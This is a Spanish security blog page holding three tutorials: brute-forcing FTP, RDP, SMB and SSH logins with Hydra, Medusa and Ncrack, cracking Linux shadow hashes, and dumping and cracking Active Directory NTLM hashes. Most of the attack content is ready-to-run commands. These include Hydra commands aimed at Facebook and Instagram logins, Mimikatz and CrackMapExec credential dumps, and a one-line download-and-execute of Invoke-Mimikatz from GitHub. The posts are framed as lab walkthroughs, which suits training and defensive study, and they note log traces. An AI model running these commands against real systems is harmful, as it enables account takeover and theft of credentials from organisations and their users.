Páginas

Mostrando entradas con la etiqueta Brute-force. Mostrar todas las entradas
Mostrando entradas con la etiqueta Brute-force. Mostrar todas las entradas

23 junio, 2020

Hydra, Medusa y Ncrack: Password cracking a servicios por fuerza bruta en profundidad y en anchura (Password spraying)

THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.

Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.
nmap -p 21 10.0.0.16      # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16    # Windows 7 servicio RDP
nmap -p 445 10.0.0.16     # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40      # Linux servicio SSH
hydra-fuerza-bruta-wordlist-ftp
Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.

THC-Hydra

Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.

Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.

Principalmente se pueden definir 3 tipos de ataques:
  • Fuerza bruta por diccionario con múltiples usuarios y passwords
  • Fuerza bruta en profundidad
  • Fuerza bruta en anchura o Password spraying

Fuerza bruta por diccionario con múltiples usuarios y passwords

Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.
hydra -L users -P wordlist -vV 10.0.0.16 ftp
  • -L: Fichero que contiene la lista de usuarios.
  • -P: Fichero que contiene la lista de passwords.
  • -v: Modo verbose
  • -V: Muestra el intento por cada login+pass
  • 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.
El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.

hydra-fuerza-bruta-wordlist-ftp
Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.

Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.

log-intento-inicio-sesion-ftp-filezilla
Figura 3: Log en el servidor FTP del intento de autenticación.  

Fuerza bruta en profundidad

Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.

Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.
hydra -l maria -P wordlist -vV 10.0.0.16 rdp
  • -l: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. 

hydra-fuerza-bruta-profundidad-rdp
Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.

Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.

log-intento-inicio-sesion-rdp
Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.

Fuerza bruta en anchura o Password spraying

Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.

Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. 
hydra -L users -p M4ria.12 -vV 10.0.0.16 smb
  • -L: Fichero de lista de usuarios.
  • -p: Contraseña única.
Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.

hydra-fuerza-bruta-anchura-smb
Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.

Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. 

log-intento-inicio-sesion-smb
Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.

En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.

Fuerza bruta en servicios web como Facebook o Instagram

Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques.

Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple "ping facebook.com" o "ping insgram.com" obtendremos la IP en ese momento.

Para protocolo HTTPS puerto 443 (https-get).
hydra -L users -P pass -vV <FACEBOOK_IP> -s 443 -f https-get /login
hydra -L users -P pass -vV <INSTAGRAM_IP> -s 443 -f https-get /accounts/login/
Para protocolo HTTP puerto 80 (http-get).
hydra -L users -P pass -vV <FACEBOOK_IP> -s 80 -f http-get /login
hydra -L users -P pass -vV <INSTAGRAM_IP> -s 80 -f http-get /accounts/login/ 
Figura 8: Ataque de fuerza bruta a servicios web como Facebook o Instagram.

Medusa

Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. 

Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos a parte de los que trae por defecto. 

Estos módulos están disponibles en el path.
/usr/lib/x86_64-linux-gnu/medusa/modules

Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.
medusa -U users -P wordlist -h 10.0.0.40 -M ssh
  • -U: Fichero de lista de usuarios
  • -P: Fichero de lista de contraseñas
  • -h: Host remoto
  • -M: Tipo de módulo.
En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. 

medusa-fuerza-bruta-ssh
Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH.

Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.

log-fuerza-bruta-ssh
Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH.

Ncrack

Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap

Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.
ncrack -p 22 --user pepe -P wordlist 10.0.0.40
  • -p: Puerto estándar usando por el servicio.
  • --user: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.

ncrack-fuerza-bruta-ssh
Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH. 

Saludos!

11 junio, 2020

Password cracking en hashes Linux (John The Ripper y Hashcat)

En otro artículo comentara el proceso y técnicas para realizar Passwords cracking de hashes NTLM ntds.dit de Active Directory en sistemas Windows.

En esta ocasión para poder llevar a cabo un ataque por fuerza bruta, diccionario o Rainbow tables a los hashes de contraseñas de sistemas Linux. Es necesario obtener un acceso root para copiar o volcar el contenido de los ficheros /etc/passwd y /etc/shadow.

Si tenemos acceso físico a la máquina o un entorno de hipervisor donde podemos elevarnos a root abriendo una terminal usando Grub, explotar una vulnerabilidad que nos permita conseguir acceso con root o en una fase de post-explotación crear un usuario y hacerlo miembro del grupo sudo o colocarlo en /etc/sudoers.

Extracción de los ficheros /etc/passwd y /etc/shadow

Una vez accedido al sistema como root. Podemos realizar la extracción de los ficheros /etc/passwd y /etc/shadow. Podríamos copiarlos a una unidad externa USB.
fdisk -l                           # Vemos los discos conectados al sistema
mkdir /mnt/usb                     # Creamos directorio para montar la unidad USB
mount -t vfat /dev/sda1 /mnt/usb/    # Montamos la unidad USB
df -h                             # Nos aseguramos de que está montado
cp /etc/passwd /mnt/usb/passwd.txt   # Copia del fichero /etc/passwd
cp /etc/shadow /mnt/usb/shadow.txt   # Copia del fichero /etc/shadow
umount /mnt/usb                    # Desmontamos la unidad USB
Si en el momento de desmontar la unidad USB nos muestra un mensaje del tipo "umount: /mnt/usb: device is busy". Podemos ver que proceso está siendo usado para /mnt/usb, finalizarlo e intentar desmontar de nuevamente la unidad.
fuser -vm /mnt/usb # Ver los procesos existentes.
fuser -k /mnt/usb # Matar los procesos existentes.
umount /mnt/usb # Desmontar la unidad (forzar con el argumento -l).

unshadow: Combinar los ficheros passwd y shadow

Una vez conseguidos ambos ficheros y volcados en una máquina controlada y aislada sin riesgo a ser bloqueados o detectados, podemos tomarnos más tiempo para el proceso de descifrado de passwords. 
# tail -n 3 /etc/passwd
pepe:x:1005:1005::/home/pepe:/bin/bash
maria:x:1006:1006::/home/maria:/bin/bash
admin:x:1007:1007::/home/admin:/bin/bash

# tail -n 3 /etc/shadow
pepe:$6$yQVL/XM8/ZZ9S2IR$yOiJozomFYVYkdeOiXO7OGrceqiVdc6aBeb9yO4QnW.DiQQf9yEBKtm8J4F0Vu2JDXwIJtTKWfUyqMoqKqDNv/:18420:0:99999:7:::
maria:$6$2t4URKFkY/8Maj.I$mo2yfY0iAMXE60qWxiuKwXMOhexJiPIHYPVL6A7iBNBqV7H5IRLySeTc6dqREkBSflbjuQJlZO2tXEFXYidkK/:18420:0:99999:7:::
admin:$6$0tr5dcVdjueqvQna$LQu.ul4LmYbaNG8/lnx7LBwlW5RxFBEUqjE.sLRlYHeeGkKzz5TZHZ5foe.HEW2hrjNw0Q3sxTMRHFkYmp9uN0:18419:0:99999:7:::
Debemos fusionarlos en un mismo fichero. Este fichero será el que le pasaremos a las herramientas de cracking para el descifrado de passwords.

Para combinar el fichero /etc/passwd y /etc/shadow usamos el comando unshadow.
unshadow passwd.txt shadow.txt > passwords

Password cracking con John The Ripper

John The Ripper es una de las herramientas más populares usada para el cracking de contraseñas.

Con el fichero único creado anteriormente. Sin indicar ningún diccionario previamente, con John podemos realizar un ataque por fuerza bruta por defecto. Dependiendo la complejidad de la contraseña esto puede tardar unos minutos o muchas horas. 
john passwords
Si no disponemos de un buen diccionario. John cuenta con el modo --incremental se trata del modo más potente y también el más costoso en tiempo de procesamiento. Es aconsejable establecer a este modo un límite de longitud y comprobaciones de contraseñas (dígitos, mayúsculas, minúsculas, símbolos, etc.) para intentar que el proceso no tarde exageradamente tanto tiempo. Donde "passwords" sería el fichero creado con unshadow.
john --incremental passwords
Podemos consultar los logs de John para ver a tiempo real el proceso de cracking.
tail -f /root/.john/john.log                   # Opción con tail
less /root/.john/john.log (pulsar shift + f)   # Opción con less
John crea un directorio oculto ~/.john en el home de usuario donde es ejecutado. Aquí almacena varios ficheros.
  • ~/.john/john.log: Almacena el proceso de cracking, podemos consultarlo en tiempo real.
  • ~/.john/john.pot: Almacena los hashes y las passwords encontradas. Podemos ver su contenido ejecutando "john --show <fichero_passwords_hashes>'.
  • ~/.john/john.rec: Guarda el estado del proceso de cracking en el que caso de que sea interrumpido ('q' o 'ctrl+c' pulsado una sola vez, si lo pulsamos dos veces el proceso se abortará por completo), de todos modos John realiza un autoguardado del proceso en este fichero cada 10 minutos.
Para mostrar o visualizar las contraseñas encontradas. Donde "passwords" sería el fichero creado con unshadow.
john --show passwords
Para mostrar el estado del proceso.
john --status
Obtener una lista de los tipos de formatos de cifrado compatibles en el caso de especificar uno concreto dependiendo tipo de hashes.
john --list=formats
john --format=sha512crypt
 Para realizar un ataque por diccionario y aplicar el estilo de reglas por defecto.
john --wordlist=diccionario.lst --rules password
En la siguiente captura se puede ver un proceso de craking por defecto y de contraseñas débiles a través de John The Ripper.

Figura 1: Password cracking en Linux con John The Ripper.


Password cracking con Hashcat

Hashcat es otra herramienta archiconocida para el craking a una amplia variedad de tipos de hashes de passwords.

Código Hashcat del tipo de hash de cifrado comunes en sistemas Linux
  • DES (Unix) = 1500
  • MD5 = 0
  • MD5 (Unix $1$) = 500
  • Blowfish (Unix $2*$) = 3200
  • SHA1 = 100
  • SHA-256 = 1400
  • SHA-256 (Unix $5$) = 7400
  • SHA-512 = 1700
  • SHA-512 (Unix $6$) = 1800 (usado en la mayoría de distribuciones actualizadas a día de hoy)
Ejemplo de uso en un ataque por diccionario con Hashcat.
hashcat -m 1800 -a 0 passwords diccionario.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule -o cracked.txt --force

En la siguiente captura se muestra un ataque por diccionario, estableciendo el formato del tipo de hash de cifrado 1800 (sha-512 - unix $6$), añadir el fichero de reglas "InsidePro-PasswordsPro.rule" incluido en el paquete de Hashcat y guardar el resultado de las contraseñas encontradas en un fichero de salida llamado cracked.txt.

Figura 2: Password cracking en Linux con Hashcat.


Password hash cracking Online

Existen multitud de sitios web en Internet que contienen grandes bases de datos con todo tipo de hashes donde pueden comparar y obtener un match en base al hash introducido. Algunas webs usan servidores potentes para realizar consultas a tablas Rainbow consiguiendo resultados más rápidamente.
Figura 3: Descifrar hashes SHA512crypt (Unix) en sitios web online.

Saludos!

16 noviembre, 2019

Passwords cracking en Windows de hashes NTLM ntds.dit de Active Directory

Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory.

Existen dos medios de los cuales se puede realizar la extracción de hashes:
  1. Desde un volcado de memoria en caliente. Por ejemplo MimikatzHot Potato o CrackMapExec (con el parámetro --lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10.
  2. Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\system32\config) en Windows de forma local como NTDS.dit (%systemroot%\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada. 

LM Hash (Lan Manager)

Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.

Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.

Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres.

Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo caracter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM.

Ejemplo de LM Hash: <35ABD1B8C5128FC8><6ABCF57855D56AC9>. Sin los signos <>. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM.

Más información sobre LM Hash (Lan Manager):

NT Hash o NTLM (New Technology Lan Manager)

A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).

NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM  que se encuentra en el path "C:\Windows\System32\config\SAM".
  • Almacenamiento sin salt (igual que LM).
  • Contraseñas más de 14 caracteres.
  • Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT.
Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B

Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1

Opciones de ejecución de código remoto

Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio,  suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI.

WMI
wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED
WinRM
winrs -r:COMPUTER COMMAND
PowerShell Remoto
Invoke-Command -computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio

Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.

El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.

Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio.

Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos.
  • Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin.
  • IFM (Install From Media) de NTDSUTIL.
  • Invoke-NinjaCopy - módulo PowerSploit.
  • Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros).
  • Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros).
  • CrackMapExec.

Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin 

El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.

Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio.

Método 2: IFM (Install From Media) de NTDSUTIL

El método IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado.

NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para DCPromo. IFM se utiliza con DCPromo para "Instalar desde los medios", de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC.

Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\temp).
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. 

Método 3: Invoke-NinjaCopy - módulo PowerSploit

Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.

Instalar el módulo PowerSploit:
  • Descargamos el módulo
  • Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
  • Importamos el módulo: Import-Module PowerSploit.
  • Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio.

Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales)

Este método no realiza un copia de los ficheros ndts.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios a iniciado sesión en el equipo o controlador de dominio.

Usando LSASS (Local Security Authority Subsystem Service):
mimikatz lsadump::lsa /inject exit
Figura 5: Mimikatz - Volcado de memoria usando lsass.

Usando dcsync:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. 

Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales)

Invoke-Mimikatz es un componente de PowerSploit. Aprovecha Mimikatz 2.0 e Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco.

Descargar e importar la función en memoria de la instancia actual de PowerShell.
IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

Ejecutar Invoke-Mimikatz usando LSASS.

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'

Ejecutar en un equipo remota (PowerShell remoto debe estar permitido y configurado):

Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer DC01.domain.local 

Método 6: CrackMapExec

Otra alternativa es hacer uso de CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali.

El parámetro que nos interesa sería a nivel de dominio sería el --ntds que se muestra en el figura 6. Pero mostraré las alternativas para un uso local como el volcado de la SAM (Security Account Manager).
  • Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro --lsa).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --lsa
Figura 7: Volcado de memoria con CrackMapExec --lsa.
  • Obteniendo la base de datos local SAM (parámetro --sam).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --sam
Figura 8: Volcando de memoria con CrackMapExec --sam.
  • Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro --ntds).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --ntds
Figura 9: Volcado del fichero ntds.dit de un controlador de dominio.

2. Volcado de hashes NTLM del fichero ntds.dit

Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:

Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount

Instalar módulo DSInternals.
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".

Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.

Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error "The database is not in a clean state". Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.

Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD.

Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD.

Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)

Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit.

En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. 

Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell)

También se puede realizar un volcado de hashes con uno de los script del framework de Nishang Get-PassHashes.ps1

Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc.

Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1.

3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD

Podemos descifrar hashes utilizando tres posibles técnicas.
  1. Ataque por fuerza bruta (Brute-force attack).
  2. Ataque por diccionarios o Wordlist.
  3. Ataque por Rainbow tables.

Hashcat

En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat. Integrada en Kali (/usr/bin/hashcat).

Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.

En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.

La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory.

John The Ripper

Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta John The Ripper. Integrada en Kali (/usr/sbin/john).

Obtener la lista de los formatos disponibles.
john --list=formats
Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (--format=NT) usando un diccionario.
john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules
Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro --show seguido del fichero donde están almacenados los hashes.
john --show --format=NT /root/hashes/hashes.txt
Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory.

Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log.
tail -f .john/john.log
Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking.

4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet

Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.

Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs.

5. Comprueba si ya existe el hash de tu contraseña antes de usarla

Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.

